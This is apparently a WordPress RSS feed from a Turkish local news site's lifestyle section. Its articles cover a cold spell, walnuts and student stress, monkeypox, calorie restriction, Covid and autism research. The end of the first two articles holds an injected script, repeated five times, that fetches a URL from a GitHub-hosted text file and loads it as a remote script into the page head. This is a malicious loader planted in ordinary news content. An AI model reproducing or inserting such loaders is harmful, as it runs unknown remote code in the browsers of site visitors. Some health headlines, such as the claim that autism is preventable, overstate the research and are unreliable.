<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Yaşam &#8211; Elazığda Güçlü Haber Sitesi</title>
	<atom:link href="https://elazigdagucluhabergazetesi.com/category/yasam/feed/" rel="self" type="application/rss+xml" />
	<link>https://elazigdagucluhabergazetesi.com</link>
	<description>elazığ haber</description>
	<lastBuildDate>Sat, 11 Jan 2025 00:49:04 +0000</lastBuildDate>
	<language>tr</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>&#8220;AMANSIZ ELLİ&#8221; SOĞUKLARI GELİYOR</title>
		<link>https://elazigdagucluhabergazetesi.com/2023/01/05/amansiz-elli-soguklari-geliyor/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 05 Jan 2023 14:19:19 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=6829</guid>

					<description><![CDATA[Meteorolojiden alınan bilgiye göre, Türkiye&#8217;de gelecek haftadan itibaren &#8220;amansız elli&#8221; soğuklarının yaşanacağı bildirildi. Halk arasında “kara kış” olarak bilinen, eskilerin “amansız elli” adını verdikleri soğuk havalara ilişkin açıklamalarda bulunuldu. Havanın..]]></description>
										<content:encoded><![CDATA[<div><strong>Meteorolojiden alınan bilgiye göre, Türkiye&#8217;de gelecek haftadan itibaren &#8220;amansız elli&#8221; soğuklarının yaşanacağı bildirildi.</strong></div>
<div></div>
<div></div>
<div class="d9FyLd">
<p>Halk arasında “kara kış” olarak bilinen, eskilerin “amansız elli” adını verdikleri soğuk havalara ilişkin açıklamalarda bulunuldu.</p>
<p>Havanın gelecek günlerde hızla soğuyacağını ve “kara kış”ın yaşanacağını belirten uzmanlar, soğuğa karşı tedbirli olunması uyarısında bulundu.</p>
<p>Başladığı günden itibaren şiddeti artacak olan bu havaların, adını “amansız” kelimesinden aldığına dikkati çekerek, “Amansız kelimesi mana olarak ‘aman vermez, acımasız, cana kıyıcı, hoşgörüsüz, gaddar, zalim’ olarak geçmektedir. Anlamından da anlaşılacağı üzere bu soğuklar, uzun soluklu 50 gün sürdüğü ve aman vermediği için atalarımız bu ismi vermişlerdir.” denildi.</p>
<p>11 Ocak&#8217;tan itibaren soğukların başlaması tahmin ediliyor. <span class="hgKElc">Soğukların aralıksız devam etmesi yüzünden, bu günlere &#8216;amansız elli&#8217; denmiştir. 10 gün kara kışın sonunda, 31 gün zemheride, 9 gün gücüğün başında, toplam 50 gündür.</span></p>
<p>Zemheri ayı Miladi takvime göre 14 Ocak-13 Şubat&#8217;a karşılık gelirken, gücük 14 Şubat-13 Mart dönemini ifade ediyor. Bu arada “zemheri”nin kelime anlamı “kış ortası” iken “gücük” şubat ayı anlamına geliyor.</p>
<p>Veeee size eskilerden bir deyiş: &#8220;Gücük çıkmayacağım, mart da ben gireceğim diye dövüşüyor!&#8221;</p>
</div>
<p><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CEVİZİN GENÇLER ÜZERİNDEKİ GÜCÜ&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/12/25/cevizin-gencler-uzerindeki-gucu/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 25 Dec 2022 12:50:56 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=6562</guid>

					<description><![CDATA[Ceviz tüketiminin, akademik strese karşı koruyucu bir etkisi olduğu ve uykuyu iyileştirme potansiyeli taşıdığı gösterildi. Üniversite öğrenciliği, hayatın en stresli dönemlerinden biridir.Aslına bakılırsa her 10 üniversite öğrencisinden sekizi sık sık..]]></description>
										<content:encoded><![CDATA[<p><strong>Ceviz tüketiminin, akademik strese karşı koruyucu bir etkisi olduğu ve uykuyu iyileştirme potansiyeli taşıdığı gösterildi.</strong></p>
<p>Üniversite öğrenciliği, hayatın en stresli dönemlerinden biridir.Aslına bakılırsa her 10 üniversite öğrencisinden sekizi sık sık stres yaşadığını bildirmekte ve üniversite öğrencilerinin %61&#8217;i anksiyete, depresyon ya da diğer ihtiyaçları için danışmanlık almaktadır.</p>
<p>University of South Australia&#8217;dakiaraştırmacılar tarafından yürütülen ve <em>Nutrients</em> dergisinde yayınlanan yeni bir çalışmada, lisans düzeyindeki üniversite öğrencilerinin 16 hafta boyunca günde yaklaşık 56 gram ceviz yemelerinin kendi bildirdikleri zihinsel sağlık durumlarını iyileştirdiği, akademik stresin bazı olumsuz etkilerine karşı koruyucu bir etkiye sahip olduğu ve kendi bildirdikleri uyku kalitelerini uzun vadede artırdığı gösterildi.</p>
<p>Bu araştırmada görev araştırmacılar, &#8220;Cevizin sağlığı geliştiren bir gıda olduğunu zaten biliyorduk, fakat bu çalışmanın tasarımı ve uzunluğu sayesinde, bulgular ceviz gibi basit bir gıdanın stresle mücadeleye nasıl yardımcı olabileceğini net bir şekilde açıklıyor&#8221; diyor.</p>
<p>University of South Australiave California Walnut Commissiontarafından ortaklaşa desteklenen bu randomize klinik çalışmanın ceviz yiyen katılımcı grubunda, strese karşı korumayla bağlantılı metabolik belirteçlerde de artı görüldü.</p>
<p>Ayrıca ceviz yemenin, akademik stresin bağırsak bakterilerinin çeşitliliği üzerindeki olumsuz etkilerini bastırmış olabileceği de kaydedildi (yalnızca kadınlarda).</p>
<p>&#8220;Üniversite öğrencileri, bir yandan üniversite eğitimlerini tamamlarken bir yandan da büyük olasılıkla zorlu ve stresli bir yetişkinliğe geçiş süreci yaşayan, benzersiz bir popülasyondur&#8221; diye belirten University of South Australia Klinik ve Sağlık Bilimleri Doçenti ve bu çalışmadaki baş araştırmacı olan Larisa Bobrovskaya, sözlerine şöyle devam ediyor:Hayli yüksek olan öğrenimi tamamlama ve cazip işler bulma baskısı, öğrencilerin zihinsel ve fiziksel sağlığını ve de genel esenliğini etkileyebilir.&#8221;</p>
<p>Bobrovskaya ayrıca &#8220;Bu nedenle akademik stresi yönetmek önemli ve öğrenciler üniversite eğitimlerini başarıyla tamamlamak için çeşitli stratejiler benimseyebilir.Diyet müdahalesi, öğrencilerin beyin sağlığını artırabilecek bu tür stratejilerden biri olmakla birlikte, öğrenciler tarafından genellikle ihmal ediliyor&#8221; diye ekliyor.</p>
<p><strong>Türkiye&#8217;de Gençlerin Stres Düzeyi</strong></p>
<p>BAREM&#8217;in küresel ortağı WIN Group ile birlikte 39 ülkede gerçekleştirdiği Sağlık Araştırması&#8217;na göre, Türkiye&#8217;de insanların yüzde 40&#8217;ı çok sık ya da sık sık stres yaşadığını belirtiyor. Öte yandan, çok sık ve iyi uyuduğunu söyleyenlerin oranı yüzde 50. Türkiye&#8217;de en stresli gruplar arasında %51 ile öğrenciler ve %50 ile 18-34 yaş grubu başı çekiyor.</p>
<p><strong>Çalışma Hakkında Genel Bilgiler</strong></p>
<p>Yaşları 18 ile 35 arasında değişen üniversite öğrencileri, bu çalışmanın 16 haftası boyunca bir tedavi grubunda ya da kontrol grubunda yer almak üzere rasgele seçildi.</p>
<p>Tedavi grubuna porsiyonları önceden ayarlanmış ceviz verildi ve günde bir porsiyon (yaklaşık 56 gram) ceviz tüketmeleri istendi.Kontrol grubundan da aynı süre boyunca herhangi bir kuruyemiş ya da yağlı balık tüketmemeleri istendi.</p>
<p>Katılımcılar kan ve tükürük örnekleri verdiler ve çalışma sırasında üç kez zihin sağlığı, ruh hali, genel esenlik ve uyku alışkanlıklarına ilişkin bir dizi öz bildirim anketi doldurdular.Katılımcıların bir alt grubu da her klinik ziyarette dışkı örnekleri verdi.Her grupta 30 kişi olmak üzere toplam 60 katılımcı çalışmayı tamamladı.</p>
<p><strong>Ceviz için Umut Verici Sonuçlar</strong></p>
<p>Ceviz yiyen grubun, kontrol grubuna kıyasla akademik stresin ruh sağlığı üzerindeki bazı olumsuz etkilerine karşı koruyucu bir etki yaşadığı görüldü.</p>
<p>&nbsp;<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>TAM BİTTİ DERKEN&#8230;MAYMUN ÇİÇEĞİ KRİZİ!!!&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/05/21/tam-bitti-derken-maymun-cicegi-krizi/</link>
					<comments>https://elazigdagucluhabergazetesi.com/2022/05/21/tam-bitti-derken-maymun-cicegi-krizi/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 21 May 2022 09:39:17 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=5617</guid>

					<description><![CDATA[ Kan ve kan ürünleri ile bulaşabiliyor. Virüsün bulaşmasından sonra 6 ile 8 gün arasında değişen bir kuluçka süresi.  &#160; Daha sonra ise 2 ile 3 gün içerisinde kendini sınırlayarak ortadan..]]></description>
										<content:encoded><![CDATA[<p><strong> Kan ve kan ürünleri ile bulaşabiliyor. Virüsün bulaşmasından sonra 6 ile 8 gün arasında değişen bir kuluçka süresi. </strong></p>
<p>&nbsp;</p>
<p>Daha sonra ise 2 ile 3 gün içerisinde kendini sınırlayarak ortadan kalkan bir durum söz konusu. Eğer sizin kronik bir hastalığınız yoksa genel itibariyle hafif seyreden bir virüs. Vücutta ateş, sırt ağrısı, eklem ağrıları ve baş ağrısı olabiliyor. Buna ek olarak halsizlik ile beraber vücutta lenf bezleri dediğimiz bezlerde şişkinlik oluyor.</p>
<p><img fetchpriority="high" decoding="async" class="alignnone wp-image-5619" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2022/05/MAYMUN-CICEGI-VIRUSU.jpg" alt="" width="617" height="463" srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2022/05/MAYMUN-CICEGI-VIRUSU.jpg 1920w, https://elazigdagucluhabergazetesi.com/wp-content/uploads/2022/05/MAYMUN-CICEGI-VIRUSU-300x225.jpg 300w, https://elazigdagucluhabergazetesi.com/wp-content/uploads/2022/05/MAYMUN-CICEGI-VIRUSU-1024x768.jpg 1024w, https://elazigdagucluhabergazetesi.com/wp-content/uploads/2022/05/MAYMUN-CICEGI-VIRUSU-768x576.jpg 768w, https://elazigdagucluhabergazetesi.com/wp-content/uploads/2022/05/MAYMUN-CICEGI-VIRUSU-1536x1152.jpg 1536w" sizes="(max-width: 617px) 100vw, 617px" /></p>
<div>
<div class="bbc-19j92fr e57qer20" dir="ltr">
<p>Daha sonraki süreçte ise başta yüzde daha sonrasında da el içi avuç ayası, ayak tabanı gibi bölgelerde döküntüler dediğimiz cilt değişiklikleri meydana geliyor.<br />
Döküntülerin içi sıvı dolu şekilleri de söz konusu olabiliyor. Ama belli bir süre sonra bu döküntülerde de bir iyileşme söz konusu oluyor.<br />
Bu anlamda şunu net olarak ifade etmek gerekiyor ki; tanısı net yapılabilen, tedavi anlamında da sonuç itibariyle şikayetlerin azaltılmasına yönelik bir tedavi sürecinin olduğu, kesinlikle Covid-19 gibi bir pandemi ihtimalinin düşük olduğu söylenebilir. Ama ülkelerin bir miktar etkileneceği, küçük vakalarla seyredecek bir süreç söz konusu.<br />
Şu an itibariyle insanları paniğe sürükleyecek bir durumun söz konusu olmadığı, eğer belirtileri olan kişiler olursa hastanelerin acil servislerine başvurarak profesyonel destek alabileceklerinin altı çiziliyor.</p>
<p><strong>NEREDEN ÇIKTI BU &#8220;MAYMUN ÇİÇEĞİ VİRÜSÜ&#8221;</strong></p>
<p>Aslında yeni bir virüs değil. Maymun adını alması da 1958 yılına dayanıyor. O sırada maymunlardaki bir salgın sonrası keşfedildi. Ancak çoğunlukla maymunlardan insanlara geçmiyor. Daha küçük; sincaplar, fareler, sıçanlar gibi hayvanlardan insanlara geçişi daha sık görülüyor.</p>
<p>Virüsün özelliği, çiçek virüsüne benzemesi. Tabii çiçek virüsü artık dünyada yok. Aşılarla yok edildi. Ona bir miktar benziyor ama o onun kadar ölümcül veya tehlikeli değil. Aynı aileden geliyor. Genel olarak Orta ve Batı Afrika&#8217;da görülüyor. Başka virüslerde olduğu gibi çoğunlukla hayvandan insana geçişler oluyor.</p>
</div>
</div>
<div></div>
]]></content:encoded>
					
					<wfw:commentRss>https://elazigdagucluhabergazetesi.com/2022/05/21/tam-bitti-derken-maymun-cicegi-krizi/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>UZUN ÖMÜR İÇİN BİR TARİF!&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/05/12/uzun-omur-icin-bir-tarif/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 12 May 2022 11:58:03 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<category><![CDATA[#araştırmalar]]></category>
		<category><![CDATA[#az yemek]]></category>
		<category><![CDATA[#uzun ömür]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=5455</guid>

					<description><![CDATA[Çeşitli hayvanlar üzerinde yapılan araştırmalar, kalorileri kısıtlamanın daha uzun ve daha sağlıklı bir yaşama yol açabileceğini gösterdi. &#160; Yeni araştırmalar vücudun günlük ritimlerinin bu uzun ömür etkisinde büyük rol oynadığını..]]></description>
										<content:encoded><![CDATA[<p><strong>Çeşitli hayvanlar üzerinde yapılan araştırmalar, kalorileri kısıtlamanın daha uzun ve daha sağlıklı bir yaşama yol açabileceğini gösterdi.</strong></p>
<p>&nbsp;</p>
<p>Yeni araştırmalar vücudun günlük ritimlerinin bu uzun ömür etkisinde büyük rol oynadığını gösteriyor. Günün en aktif saatlerinde yemek yemek, kalorisi azaltılmış bir diyetle farelerin ömrünü önemli ölçüde uzattığı son yapılan araştırmalarda görülen bulgular&#8230;</p>
<p>Araştırmacılar, dört yıl boyunca yüzlerce fare üzerinde yaptığı çalışmada, düşük kalorili bir diyet tek başına hayvanların yaşamlarını yüzde 10 uzatmıştır. Ancak farelere diyeti yalnızca farelerin en aktif olduğu gece vakti vermek, ömrü yüzde 35 oranında uzatmıştır. Bu kombinasyon &#8211; düşük kalorili bir diyet artı bir gece yeme programı &#8211; hayvanların tipik iki yıllık ortalama ömrüne fazladan dokuz ay ekledi. İnsanlar için, benzer bir plan yemek yemeyi gündüz saatleriyle sınırlayacaktır.</p>
<p><strong>Gençlik çeşmesi</strong></p>
<p>Onlarca yıllık araştırma, kalori kısıtlamasının solucanlar ve sineklerden farelere, sıçanlara ve primatlara kadar değişen hayvanların ömrünü uzattığını bulmuştur. Bu deneyler kilo kaybı, gelişmiş glikoz regülasyonu, daha düşük kan basıncı ve azaltılmış inflamasyon bildirmektedir.</p>
<p><strong>Zaman sorunu</strong></p>
<p>Son yıllarda, alternatif günlerde oruç tutmak veya günde sadece altı ila sekiz saatlik bir süre boyunca yemek yemek gibi aralıklı oruç olarak bilinen şeye odaklanan birçok popüler diyet planının yükselişi görüldü. Kalorilerin, oruç tutmanın ve günlük aktivitelerin uzun ömür üzerindeki etkilerini ortaya çıkarmak için bilim insanları dört yıllık kapsamlı bir deney yaptı. Ekip, tüm ömrü boyunca her farenin ne zaman ve ne kadar yediğini kontrol etmek için otomatik besleyicilere sahip yüzlerce fareyi barındırdı.</p>
<p>Bazı fareler istedikleri kadar yiyebilirken, diğerlerinin kalorileri yüzde 30 ila 40 oranında kısıtlandı. Kalori kısıtlı diyetlerde olanlar farklı programlarda yediler. Ekip, iki saatlik veya 12 saatlik bir süre boyunca geceleri düşük kalorili diyetle beslenen farelerin en uzun yaşadığını keşfetti.</p>
<p>Yaşlandıkça kalori kısıtlamasının vücudun iç saatlerini nasıl etkilediğini öğrenmenin, bilim insanlarının, insanların sağlıklı ömrünü uzatmak için yeni yollar bulmasına yardımcı olacaktır. Bu, kalori kısıtlı diyetler veya bu diyetlerin etkilerini taklit eden ilaçlar yoluyla gelebilir.</p>
<p>Bilim insanları, farelerden bir ders alıyor &#8211; kendi yemeğini 12 saatlik bir süre ile kısıtlıyor. Ancak, &#8220;Saatinizi artırabilecek bir ilaç bulursak, bunu laboratuvarda test edebilir ve ömrünü uzatıp uzatmadığını görebiliriz&#8221; diyorlar.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ERKEN Mİ REHAVETE KAPILDIK?</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/05/07/erken-mi-rehavete-kapildik/</link>
					<comments>https://elazigdagucluhabergazetesi.com/2022/05/07/erken-mi-rehavete-kapildik/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 07 May 2022 11:54:12 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<category><![CDATA[#erken rehavet]]></category>
		<category><![CDATA[#mehmet ceyhan]]></category>
		<category><![CDATA[uyarılara dikkat!]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=5387</guid>

					<description><![CDATA[Hacettepe Üniversitesi Tıp Fakültesi Çocuk Enfeksiyon Hastalıkları Bilim Dalı Başkanı Prof. Dr. Mehmet Ceyhan, sosyal medya hesabından yaptığı paylaşımda, “Covid-19 aktivitesinin yüksek olduğunu görüyoruz” diyerek uyarılarda bulundu… &#160; Ceyhan, açıklamalarında şu..]]></description>
										<content:encoded><![CDATA[<p><strong>Hacettepe Üniversitesi Tıp Fakültesi Çocuk Enfeksiyon Hastalıkları Bilim Dalı Başkanı Prof. Dr. Mehmet Ceyhan, sosyal medya hesabından yaptığı paylaşımda, “Covid-19 aktivitesinin yüksek olduğunu görüyoruz” diyerek uyarılarda bulundu…</strong></p>
<p>&nbsp;</p>
<p>Ceyhan, açıklamalarında şu ifadelere yer verdi:</p>
<p>&#8220;DİKKAT: Hala Mis-C hastalığı görmeye devam ediyoruz. Bu da toplumda COVID 19 aktivitesinin yüksek olduğunu gösteriyor. Lütfen dikkatli olalım. Aşılarımızı tamamlamak, sosyal mesafenin sağlanamadığı durumlarda maske takmakla birşey kaybetmeyiz.&#8221;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://elazigdagucluhabergazetesi.com/2022/05/07/erken-mi-rehavete-kapildik/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>YAŞLANMA SAATİ GERİ DÖNÜYOR!!&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/05/03/yaslanma-saati-geri-donuyor/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 03 May 2022 19:30:36 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<category><![CDATA[#cilt gençleşiyor]]></category>
		<category><![CDATA[#yaralar çabuk iyileşiyor]]></category>
		<category><![CDATA[kolajen]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=5346</guid>

					<description><![CDATA[Bilim adamlarının kök hücre yapmak için kullandıkları  tekniğe dayanan yeni yöntem, sürecin bir kısmında yeniden programlamayı durdurarak hücre kimliğini tamamen silme sorununun üstesinden geliyor. &#160; Yaşlandıkça, hücrelerimizin işlev görme yeteneği..]]></description>
										<content:encoded><![CDATA[<p><strong>Bilim adamlarının kök hücre yapmak için kullandıkları  tekniğe dayanan yeni yöntem, sürecin bir kısmında yeniden programlamayı durdurarak hücre kimliğini tamamen silme sorununun üstesinden geliyor.</strong></p>
<p>&nbsp;</p>
<p><span>Yaşlandıkça, hücrelerimizin işlev görme yeteneği azalır ve genom yaşlanma izleri biriktirir. </span><span>Rejeneratif biyoloji, eski hücreler de dahil olmak üzere hücreleri onarmayı veya değiştirmeyi amaçlar. </span><span>Rejeneratif biyolojideki en önemli araçlardan biri, &#8220;uyarılmış&#8221; kök hücreler yaratma yeteneğimizdir. </span><span>İşlem, her biri hücreleri özel yapan bazı işaretleri silen birkaç adımın bir sonucudur. </span></p>
<p><strong><span>Yaş sadece bir sayı değildir.</span></strong></p>
<p><span>Hücrelerin gençleştiğini göstermek için araştırmacılar, yaşlanmanın ayırt edici özelliklerindeki değişiklikleri aradılar. Moleküler düzeyde yaşlanma konusundaki anlayış son on yılda ilerlemiş ve araştırmacıların ölçmesine olanak tanıyan tekniklerin ortaya çıkmasına neden olmuştur. İnsan hücrelerinde yaşa bağlı biyolojik değişiklikler, elde edilen yeni yöntemle yeniden programlanıyor.</span></p>
<p><strong>Bulunan bu teknik sadece deriyi gençleştirmiyor, aynı zamanda yaraları da çabuk iyileştiriyor.</strong></p>
<p><span>Bu tekniğin potansiyel uygulamaları, hücrelerin sadece daha genç görünmesine değil, aynı zamanda genç hücreler gibi işlev görmesine de bağlıdır. </span><span>Fibroblastlar, kemiklerde, cilt tendonlarında ve bağlarda bulunan ve dokulara yapı sağlamaya ve yaraları iyileştirmeye yardımcı olan bir molekül olan kolajen üretir. </span><span>Yenilenen fibroblastlar, yeniden programlama sürecinden geçmeyen kontrol hücrelerine kıyasla daha fazla kolajen proteini üretti. </span><span>Fibroblastlar ayrıca onarılması gereken alanlara da taşınır. </span><span>Araştırmacılar, bir tabakta bir hücre katmanında yapay bir kesik oluşturarak kısmen gençleşmiş hücreleri test etti. </span><span>Tedavi edilen fibroblastlarının boşluğa eski hücrelerden daha hızlı hareket ettiğini buldular. </span><span>Bu, bir gün bu araştırmanın sonunda yaraları iyileştirmede daha iyi olan hücreler oluşturmak için kullanılabileceğinin umut verici bir işaretidir.</span></p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ORMAN YANGINLARINDAN KAYNAKLANAN HAVA KİRLİLİĞİ</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/04/20/orman-yanginlarindan-kaynaklanan-hava-kirliligi/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 20 Apr 2022 11:56:04 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<category><![CDATA[#hava kirliliği]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=4892</guid>

					<description><![CDATA[Ülke genelinde çıkan orman yangınlarının oluşturduğu hava kirliliği, insan sağlığına ciddi zarar veriyor. Dumandan kaynaklanan ahşap ve diğer maddeler yandığında, oluşan küçük parçacıkların karışımından oluşur. Yangın esnasında çıkan ince küçük..]]></description>
										<content:encoded><![CDATA[<p>Ülke genelinde çıkan orman yangınlarının oluşturduğu hava kirliliği, insan sağlığına ciddi zarar veriyor.</p>
<p>Dumandan kaynaklanan ahşap ve diğer maddeler yandığında, oluşan küçük parçacıkların karışımından oluşur. Yangın esnasında çıkan ince küçük parçacıkların akciğerlere derinlemesine nüfuz etmesine neden olur. Gözlerin yanmasından ve burun akıntısından ağır kalıcı kalp hastalıklarına sebep olur. Piknik, gezi, turlar bu tür etkinliklere giderken çevreyi korumalı ve yangın riskini en aza düşürmemiz gerekir.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>OTİZM ÖNLENEBİLİR!&#8230;BİRAZ DİKKAT!&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/04/01/otizm-onlenebilir-biraz-dikkat/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 01 Apr 2022 12:51:08 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<category><![CDATA[#amigdala]]></category>
		<category><![CDATA[#beyninbir bölümü]]></category>
		<category><![CDATA[#erken teşhis]]></category>
		<category><![CDATA[#otizm]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=4687</guid>

					<description><![CDATA[Son yapılan araştırmalarda ortaya çıkan sonuç; 6 ila 12 ay arasında otizmin başladığı ve bu durumun erken teşhis ile önlenebilir bir hastalık olabileceği belirtildi. &#160; &#160; İlk kez, Bebek Beyin..]]></description>
										<content:encoded><![CDATA[<p><strong>Son yapılan araştırmalarda ortaya çıkan sonuç; 6 ila 12 ay arasında otizmin başladığı ve bu durumun erken teşhis ile önlenebilir bir hastalık olabileceği belirtildi.</strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span>İlk kez, Bebek Beyin Görüntüleme Çalışması (IBIS) Ağından yararlanan araştırmacılar, AMİGDALA denilen beynin bir bölümünde bebeklik döneminde çok hızlı büyüdüğünü göstermek için manyetik rezonans görüntülemeyi (MRI) kullandılar. </span><span>Aşırı büyüme, otizmin ayırt edici davranışlarının tam olarak ortaya çıktığı yaştan önce, 6 ila 12 ay arasında başlar ve bu durumun en erken teşhisini sağlar. </span><span>Daha sonra otizm teşhisi konan bebeklerde artan amigdala büyümesi gözlemlendi. </span></p>
<p><span>Bilim insanları &#8220;Ayrıca, ilk yıldaki aşırı amigdala büyüme oranının, çocuğun iki yaşındaki sosyal eksiklikleri ile bağlantılı olduğunu bulduk. Gelişimsel Engelliler için,  b</span><span>ebeklik döneminde amigdala ne kadar hızlı büyürse, bir yıl sonra otizm teşhisi konduğunda çocuğun gösterdiği sosyal zorluklar o kadar artıyor.&#8221; diyor. Otizm belirtileri ortaya çıkmadan önce amigdala aşırı büyümesini belgeleyen ilk araştırma olan bu araştırma oldu.</span></p>
<p>Araştırmada ortaya çıkan sonuç; müdahaleleri başlatmak ve otizm geliştirme olasılığı en yüksek olan çocukları desteklemek için ilk yıl olabilecek en uygun zamanı önermektedir. Semptomatik bir müdahalenin odak noktası, sosyal semptomlar ortaya çıkmadan önce bebeklerde görsel ve diğer duyusal süreçleri geliştirmek olabilir.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>DÜNYAYI BEKLEYEN TEHLİKE!</title>
		<link>https://elazigdagucluhabergazetesi.com/2021/12/23/dunyayi-bekleyen-tehlike/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 23 Dec 2021 10:55:04 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<category><![CDATA[#Himalaya Buzulları]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=4034</guid>

					<description><![CDATA[Yeni araştırmalar, Himalaya buzullarının hızla erimesinin Asya&#8217;daki milyonlarca insanın su kaynağını tehdit ettiği konusunda uyarıyor. &#160; Son yıllarda Himalaya buzullarının, 400-700 yıl önceki son büyük buzul genişlemesinden bu yana ortalamadan..]]></description>
										<content:encoded><![CDATA[<p><strong>Yeni araştırmalar, Himalaya buzullarının hızla erimesinin Asya&#8217;daki milyonlarca insanın su kaynağını tehdit ettiği konusunda uyarıyor</strong>.</p>
<p>&nbsp;</p>
<p>Son yıllarda Himalaya buzullarının, 400-700 yıl önceki son büyük buzul genişlemesinden bu yana ortalamadan on kat daha hızlı buz kaybettiği sonucuna varıyor.</p>
<p>Çalışma ayrıca, Himalaya buzullarının dünyanın diğer bölgelerindeki buzullardan çok daha hızlı küçüldüğünü ortaya koyuyor. Araştırmacıların &#8220;olağanüstü&#8221; olarak tanımladığı bir kayıp oranı olarak değerlendiriliyor.</p>
